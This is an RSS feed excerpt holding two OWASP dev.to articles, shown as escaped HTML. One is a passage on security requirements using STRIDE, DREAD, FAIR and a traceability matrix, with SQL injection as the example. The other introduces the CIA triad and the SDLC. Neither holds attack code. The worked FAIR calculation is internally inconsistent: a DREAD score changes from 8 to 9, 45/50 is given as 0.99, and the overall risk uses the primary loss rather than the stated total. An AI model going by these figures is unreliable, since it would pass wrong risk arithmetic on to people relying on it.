Identifying threats helps us to understand which security aspects are at risk, while rating ensures we prioritize them in the right way.&lt;/p&gt;

&lt;p&gt;To properly identify threat we will use &lt;strong&gt;STRIDE&lt;/strong&gt; framework:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Broken Principle&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;S&lt;/strong&gt;poofing&lt;/td&gt;
&lt;td&gt;Pretending to be as someone or something else.&lt;/td&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;T&lt;/strong&gt;ampering&lt;/td&gt;
&lt;td&gt;Unauthorized alteration or modification of data/communications.&lt;/td&gt;
&lt;td&gt;Integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;R&lt;/strong&gt;epudiation&lt;/td&gt;
&lt;td&gt;Denial by involved party of previously performed actions due to lack of auditing and logging.&lt;/td&gt;
&lt;td&gt;Non-repudiation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;I&lt;/strong&gt;nformation disclosure&lt;/td&gt;
&lt;td&gt;Unauthorized access or exposure of sensitive data.&lt;/td&gt;
&lt;td&gt;Confidentiality&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;D&lt;/strong&gt;enial of Service&lt;/td&gt;
&lt;td&gt;Disruption of system's normal functioning.&lt;/td&gt;
&lt;td&gt;Availability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;E&lt;/strong&gt;scalation of privilege&lt;/td&gt;
&lt;td&gt;Allowing entity to do something, what it shouldn't have permission for.&lt;/td&gt;
&lt;td&gt;Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As we see, it allows us to classify a threat in one or more of 6 categories, defining which security aspects are affected. &lt;br&gt;
After the identification we can calculate the risk by using the &lt;strong&gt;DREAD&lt;/strong&gt; framework:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;D&lt;/strong&gt;amage Potential&lt;/td&gt;
&lt;td&gt;How big the potential damage would be?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;R&lt;/strong&gt;eproducibility&lt;/td&gt;
&lt;td&gt;How easy is it to reproduce this attack?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;E&lt;/strong&gt;xploitability&lt;/td&gt;
&lt;td&gt;How hard is it to use this vulnerability?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;A&lt;/strong&gt;ffected Users&lt;/td&gt;
&lt;td&gt;How many users would be affected?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;D&lt;/strong&gt;iscoverability&lt;/td&gt;
&lt;td&gt;How fast can an attacker discover the vulnerability?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each category in the model is scored from 0 to 10. The sum of the scores in all categories is &lt;strong&gt;total risk score&lt;/strong&gt;. Maximum risk score is &lt;strong&gt;50&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As an example let's create a STRIDE and DREAD analysis for &lt;strong&gt;SQL Injection&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Spoofing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Manipulation of SQL queries to bypass authentication mechanisms.&lt;/td&gt;
&lt;td&gt;Use prepared statements and parameterized queries to prevent manipulation of authentication queries.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tampering&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Changing data within the database by injecting malicious SQL commands.&lt;/td&gt;
&lt;td&gt;Use data versioning for tracking of changes and rollback if unauthorized modifications are detected.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Repudiation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Altering transaction records, making it difficult to verify malicious actions.&lt;/td&gt;
&lt;td&gt;Enable Database Activity Monitor (DAM) for logging and auditing actions within the database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Information Disclosure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Retrieving sensitive information from the database.&lt;/td&gt;
&lt;td&gt;Encrypt all sensitive data and store all keys separately from the data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Denial of Service&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Executing costly SQL queries to disrupt database operations.&lt;/td&gt;
&lt;td&gt;Implement rate limiting and monitor query performance to detect and mitigate abuse.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Escalation of Privilege&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Injecting to get elevated privileges within the application or database.&lt;/td&gt;
&lt;td&gt;Enforce Least Privilege principle and use role-based access control.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;According to STRIDE classification, we can easily calculate DREAD scores:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DREAD&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Damage Potential&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Exploitability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Users&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Discoverability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Thus, the total risk score for SQL Injection is &lt;em&gt;9 + 8 + 10 + 10 + 8 =&lt;/em&gt; &lt;strong&gt;45&lt;/strong&gt;.&lt;/p&gt;




&lt;p&gt;After this, we can use &lt;strong&gt;Security &amp;amp; Abuser&lt;/strong&gt; stories, &lt;strong&gt;STRIDE&lt;/strong&gt; and &lt;strong&gt;DREAD&lt;/strong&gt; frameworks to structure our approach with &lt;strong&gt;FAIR&lt;/strong&gt; methodology:&lt;/p&gt;

&lt;h4&gt;
  
  
  › Threat and Critical Asset identification
&lt;/h4&gt;

&lt;p&gt;Using &lt;strong&gt;Security &amp;amp; Abuser&lt;/strong&gt; stories, we can find critical assets.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;As a developer, I want all user input to be validated to prevent SQL Injection in the database.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From this security story we see, that &lt;strong&gt;database&lt;/strong&gt; is our critical asset. &lt;br&gt;
To identify the influence vectors of the threat, we will use &lt;strong&gt;STRIDE&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  › Contact Frequency (СF) assessment
&lt;/h4&gt;

&lt;p&gt;This criteria fully depends on the functional requirements.&lt;br&gt;
For instance, if our critical asset is the database and vulnerability relates to it, the frequency is actually how often will the user interact with the database.&lt;/p&gt;

&lt;h4&gt;
  
  
  › Calculating Probability of Action (PoA)
&lt;/h4&gt;

&lt;p&gt;We can use &lt;strong&gt;Reproducibility&lt;/strong&gt; and &lt;strong&gt;Exploitability&lt;/strong&gt; scores from the &lt;strong&gt;DREAD&lt;/strong&gt; framework. &lt;br&gt;
For instance, SQL Injection's &lt;strong&gt;Reproducibility&lt;/strong&gt; score is &lt;strong&gt;9&lt;/strong&gt;, and the &lt;strong&gt;Exploitability&lt;/strong&gt;'s score is &lt;strong&gt;10&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Then our &lt;strong&gt;PoA&lt;/strong&gt; would be &lt;em&gt;(9 + 10) / 20&lt;/em&gt; = &lt;strong&gt;0.95&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  › Threat Event Frequency (TEF)
&lt;/h4&gt;

&lt;p&gt;As mentioned before, &lt;strong&gt;TEF&lt;/strong&gt; = &lt;strong&gt;CF&lt;/strong&gt; x &lt;strong&gt;PoA&lt;/strong&gt;.&lt;br&gt;
For example, if there are 100 user-side interactions with the database, then for SQL Injection: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TEF&lt;/strong&gt; = &lt;em&gt;100 x 0.95&lt;/em&gt; = &lt;strong&gt;95&lt;/strong&gt; threat events per day.&lt;/p&gt;

&lt;h4&gt;
  
  
  › Vulnerability (Vuln) assessment
&lt;/h4&gt;

&lt;p&gt;For the &lt;strong&gt;Vulnerability&lt;/strong&gt; assessment we can use the final &lt;strong&gt;DREAD&lt;/strong&gt; score. &lt;br&gt;
&lt;strong&gt;SQL Injection&lt;/strong&gt;'s DREAD score is &lt;em&gt;9 + 8 + 10 + 10 + 8&lt;/em&gt; = 45/50, or &lt;strong&gt;0.99&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  › Loss Event Frequency (LEF)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;LEF&lt;/strong&gt; = &lt;strong&gt;TEF&lt;/strong&gt; x &lt;strong&gt;Vuln&lt;/strong&gt; &lt;br&gt;
Then for our scenario, &lt;strong&gt;LEF&lt;/strong&gt; = &lt;em&gt;95 x 0.99&lt;/em&gt; = &lt;strong&gt;94&lt;/strong&gt; loss events per day.&lt;/p&gt;

&lt;h4&gt;
  
  
  › Loss Magnitude (LM)
&lt;/h4&gt;

&lt;p&gt;Loss Magnitude is calculated by summing potential &lt;strong&gt;primary&lt;/strong&gt; and &lt;strong&gt;secondary&lt;/strong&gt; losses. At this step we don't use any threat modeling approaches, cause it requires more specific analysis.&lt;/p&gt;

&lt;p&gt;For instance, let's calculate the imaginary &lt;strong&gt;SQL Injection&lt;/strong&gt;'s Loss Magnitude:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Primary Losses&lt;/strong&gt;: &lt;br&gt;
The potential cost of stolen data: &lt;em&gt;50.000$&lt;/em&gt;&lt;br&gt;
Cost of restoration works: &lt;em&gt;30.000$&lt;/em&gt;&lt;br&gt;
System downtime: &lt;em&gt;10.000$&lt;/em&gt;&lt;br&gt;
Total : &lt;strong&gt;90.000$&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secondary Losses&lt;/strong&gt;:&lt;br&gt;
Legal and regulatory losses: &lt;em&gt;60.000$&lt;/em&gt;&lt;br&gt;
Increased security costs: &lt;em&gt;20.000$&lt;/em&gt;&lt;br&gt;
Total: &lt;strong&gt;80.000$&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thus, Total Loss Magnitude is &lt;em&gt;90.000$ + 80.000$&lt;/em&gt; = &lt;strong&gt;170.000$&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  › Overall Risk
&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;Potential Overall Risk = LEF(94) x LM(90.000)&lt;/em&gt; = &lt;strong&gt;8.460.000$ per day&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;By using &lt;strong&gt;STRIDE&lt;/strong&gt;, &lt;strong&gt;DREAD&lt;/strong&gt;, &lt;strong&gt;Security &amp;amp; Abuser Stories&lt;/strong&gt;, and &lt;strong&gt;FAIR&lt;/strong&gt;, we learned how to develop strong security requirements.&lt;br&gt;&lt;br&gt;
The great thing about &lt;strong&gt;FAIR&lt;/strong&gt; is that in the end, it translates these risks into &lt;strong&gt;financial&lt;/strong&gt; terms, making it much easier for &lt;strong&gt;management&lt;/strong&gt; to understand the importance of each security measure. This is especially helpful since it's often &lt;strong&gt;challenging&lt;/strong&gt; to convey the significance of security risks to &lt;strong&gt;top executives&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Now after we have our security requirements and know their financial impacts, we can ensure we don't miss anything by using a &lt;strong&gt;Secure Requirements Traceability Matrix (SRTM)&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Requirements Traceability Matrix (SRTM)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SRTM&lt;/strong&gt; is a detailed document that links security requirements to their implementation and testing.&lt;br&gt;&lt;br&gt;
It makes sure that all security needs are handled during development, showing a clear path from the start to the final tests.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Priority&lt;/th&gt;
&lt;th&gt;Control Reference&lt;/th&gt;
&lt;th&gt;Implementation Reference&lt;/th&gt;
&lt;th&gt;Testing Method&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unique identifier for each security requirement.&lt;/td&gt;
&lt;td&gt;Detailed description of the security requirement.&lt;/td&gt;
&lt;td&gt;Origin of the requirement (threat model, regulatory, etc)&lt;/td&gt;
&lt;td&gt;The importance of the requirement&lt;/td&gt;
&lt;td&gt;Reference to design document that address requirement.&lt;/td&gt;
&lt;td&gt;Links to the code or configuration that fulfills the requirement.&lt;/td&gt;
&lt;td&gt;The method used to verify requirement (unit/integrity/penetration tests)&lt;/td&gt;
&lt;td&gt;Current status of the requirement (started/completed/in progress/verified)&lt;/td&gt;
&lt;td&gt;Additional notes or comments&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Let's imagine that after using the FAIR framework with Security &amp;amp; Abuser Stories, we identified the following security requirements:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implement 2FA to follow PCI-DSS&lt;/li&gt;
&lt;li&gt;Using input validation to prevent XSS Injection&lt;/li&gt;
&lt;li&gt;Logging access to sensitive assets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case, our matrix will look like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Priority&lt;/th&gt;
&lt;th&gt;Control Reference&lt;/th&gt;
&lt;th&gt;Implementation Reference&lt;/th&gt;
&lt;th&gt;Testing Method&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SR-01&lt;/td&gt;
&lt;td&gt;Implement 2-FA&lt;/td&gt;
&lt;td&gt;PCI-DSS&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Data Flow Diagram DFD-01&lt;/td&gt;
&lt;td&gt;IMP-01&lt;/td&gt;
&lt;td&gt;Integration Test: IT-01&lt;/td&gt;
&lt;td&gt;Completed&lt;/td&gt;
&lt;td&gt;SMS and Email OTPs being used&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SR-02&lt;/td&gt;
&lt;td&gt;Validate inputs to prevent XSS injection&lt;/td&gt;
&lt;td&gt;OWASP TOP 10&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Design Document DD-02&lt;/td&gt;
&lt;td&gt;IMP-02&lt;/td&gt;
&lt;td&gt;Static Analysis: SA-01&lt;/td&gt;
&lt;td&gt;Completed&lt;/td&gt;
&lt;td&gt;OWASP Netryx used for input validation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SR-03&lt;/td&gt;
&lt;td&gt;Log all access to sensitive data&lt;/td&gt;
&lt;td&gt;GDPR&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Design Document DD-03&lt;/td&gt;
&lt;td&gt;IMP-03&lt;/td&gt;
&lt;td&gt;Penetration Testing: PT-01&lt;/td&gt;
&lt;td&gt;Not Started&lt;/td&gt;
&lt;td&gt;SIEM tool integration planned&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For building requirements traceability matrix you will use such tools like &lt;strong&gt;YouTrack&lt;/strong&gt; or &lt;strong&gt;Jira&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;In this article, we learned how important it is to build security requirements early in the SDLC. By talking to stakeholders and using methods like &lt;strong&gt;Security &amp;amp; Abuser Stories&lt;/strong&gt;, we can spot critical assets and potential threats from both user and attacker perspectives.&lt;/p&gt;

&lt;p&gt;We used &lt;strong&gt;STRIDE&lt;/strong&gt; to identify threats, &lt;strong&gt;DREAD&lt;/strong&gt; to assess them, and &lt;strong&gt;FAIR&lt;/strong&gt; methodology to look at these threats from &lt;strong&gt;all angles&lt;/strong&gt; and translate their impact into &lt;strong&gt;financial terms&lt;/strong&gt;, making it easier for management to understand their &lt;strong&gt;importance&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Finally, we talked about the Secure Requirements Traceability Matrix (SRTM), which helps us &lt;strong&gt;track&lt;/strong&gt; security requirements from start to finish. &lt;br&gt;
This ensures that &lt;strong&gt;nothing is missed&lt;/strong&gt; and all security needs are properly addressed.&lt;/p&gt;

&lt;p&gt;Finding and fixing security issues during the requirements phase can &lt;strong&gt;save millions of dollars&lt;/strong&gt; later on. It’s &lt;strong&gt;much cheaper&lt;/strong&gt; to address these problems early rather than after the application is built or at later SDLC steps.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>requirements</category>
      <category>sdlc</category>
    </item>
    <item>
      <title>Intro to Application Security</title>
      <dc:creator>Martin Belov</dc:creator>
      <pubDate>Mon, 01 Jul 2024 18:45:43 +0000</pubDate>
      <link>https://forem.com/owasp/intro-to-application-security-3cj3</link>
      <guid>https://forem.com/owasp/intro-to-application-security-3cj3</guid>
      <description>&lt;p&gt;In the face of increasing cyberattacks, application security is becoming critical, requiring developers to integrate robust measures and best practices to build secure applications.&lt;/p&gt;

&lt;p&gt;But what exactly does the term "secure application" mean?&lt;br&gt;
Let's take a brief look at some notable security incidents in history:&lt;/p&gt;

&lt;h4&gt;
  
  
  T-Mobile data leak
&lt;/h4&gt;

&lt;p&gt;In January 2023, T-Mobile was attacked via a vulnerability in an API, resulting in the data of 23 million clients being compromised.&lt;br&gt;
It allowed attackers to access &lt;strong&gt;confidential&lt;/strong&gt; information of users, such as names, emails and phone numbers.&lt;/p&gt;

&lt;h4&gt;
  
  
  Industrial Control Systems Attack
&lt;/h4&gt;

&lt;p&gt;In 2019, Russian espionage group named "Turla" attacked an industrial facility in Europe. After gaining access to industrial control systems, the group started manipulating data from sensors, such as temperature and pressure.&lt;br&gt;
The main target of attackers was to break the &lt;strong&gt;integrity&lt;/strong&gt; of data, in order to cause incorrect operational decisions and lead to incidents.&lt;/p&gt;

&lt;h4&gt;
  
  
  Attack on Bandwidth.com
&lt;/h4&gt;

&lt;p&gt;Bandwidth.com suffered a Distributed Denial of Service (DDoS) attack in October 2021. The attack compromised &lt;strong&gt;availability&lt;/strong&gt; of service, making its services inaccessible to users.&lt;br&gt;
Due to the interruption of services, the company experienced a big financial impact, estimated at around 9-12 million dollars.&lt;/p&gt;




&lt;p&gt;Each of these security incidents broke one of the core principles of information security: &lt;strong&gt;confidentiality&lt;/strong&gt;, &lt;strong&gt;integrity&lt;/strong&gt; and &lt;strong&gt;availability&lt;/strong&gt;.&lt;br&gt;
These 3 principles are called &lt;strong&gt;CIA Triad&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt; - Confidentiality:&lt;br&gt;
Only authorized entities have access to specified resource or information and no one else.&lt;br&gt;
&lt;strong&gt;I&lt;/strong&gt; - Integrity:&lt;br&gt;
Data saves its accuracy and consistency during its entire lifecycle, being protected from unauthorized alteration or destruction.&lt;br&gt;
&lt;strong&gt;A&lt;/strong&gt; - Availability:&lt;br&gt;
Even in the event of failures or attacks, data and services are continuously available to authorized users.&lt;/p&gt;

&lt;p&gt;Ensuring these principles are defended allows our application to be secure. This is an ongoing process that begins with planning and continues through maintenance.&lt;br&gt;
The goal of &lt;strong&gt;AppSec&lt;/strong&gt; engineer is to &lt;strong&gt;ensure security on every stage of software development lifecycle (SDLC)&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Software Development Lifecycle (SDLC)
&lt;/h2&gt;

&lt;p&gt;The software development lifecycle is a step-by-step process used to create software in a systematic and efficient way.&lt;br&gt;
It consists of 6 phases:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqr2d7pzx2jqmzc9ldlk8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqr2d7pzx2jqmzc9ldlk8.png" alt="SDLC" width="800" height="73"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Requirements&lt;/strong&gt;:&lt;br&gt;
Setting goals, defining project's scope and understanding what the users need from software&lt;br&gt;
&lt;strong&gt;Design&lt;/strong&gt;:&lt;br&gt;
Planning the structure and layout of the system, ensuring it meets all requirements&lt;br&gt;
&lt;strong&gt;Development&lt;/strong&gt;:&lt;br&gt;
Writing the actual code to build the software.&lt;br&gt;
&lt;strong&gt;Testing&lt;/strong&gt;:&lt;br&gt;
Checking the software to ensure it works correctly and is free of bugs.&lt;br&gt;
&lt;strong&gt;Deployment&lt;/strong&gt;:&lt;br&gt;
Releasing the software for users to access and use.&lt;br&gt;
&lt;strong&gt;Maintenance&lt;/strong&gt;:&lt;br&gt;
Updating and fixing the software as needed after it is in use.&lt;/p&gt;

&lt;p&gt;We aim to implement security at each phase of the SDLC because the earlier vulnerabilities are detected, the lower the cost and effort required to fix them, preventing costly and complex issues later.&lt;br&gt;
The approximate comparison of the cost of mitigating a security issue can be illustrated as follows:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ad27zlwyun3s088axwv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ad27zlwyun3s088axwv.png" alt="Comparison of costs at different SDLC phases" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Role of AppSec Engineers
&lt;/h2&gt;

&lt;p&gt;An AppSec engineer is one of the most important stakeholders responsible for security. They should know methodologies applicable at the application layer to detect and mitigate malicious traffic in order to build systems where potential threats are recognized and remediated before they can cause harm.&lt;/p&gt;

&lt;p&gt;In addition to prevention measures, AppSec engineers play a big role in incident response. They collaborate with incident response teams and provide expertise on application-specific security concerns. An AppSec engineer's involvement is essential for detection, mitigation and post-incident analysis, helping to develop strategies to prevent incidents in future.&lt;/p&gt;

&lt;p&gt;In this series of articles we will focus on best security practices at each phase of SDLC, explore such techniques such as JA3, JA4+, HTTP/2 fingerprinting and cover fundamentals of incident response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Series Roadmap
&lt;/h2&gt;

&lt;p&gt;Please note the roadmap is subject to change.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduction to Application Security (you are here)&lt;/li&gt;
&lt;li&gt;Security in Requirements Phase&lt;/li&gt;
&lt;li&gt;Secure Design Principles&lt;/li&gt;
&lt;li&gt;Secure Coding Principles&lt;/li&gt;
&lt;li&gt;Security in Testing&lt;/li&gt;
&lt;li&gt;Secure deployment &amp;amp; maintenance&lt;/li&gt;
&lt;li&gt;Application layer fingerprinting&lt;/li&gt;
&lt;li&gt;Fundamentals of incident response&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>security</category>
      <category>softwaredevelopment</category>
    </item>
  </channel>
</rss>
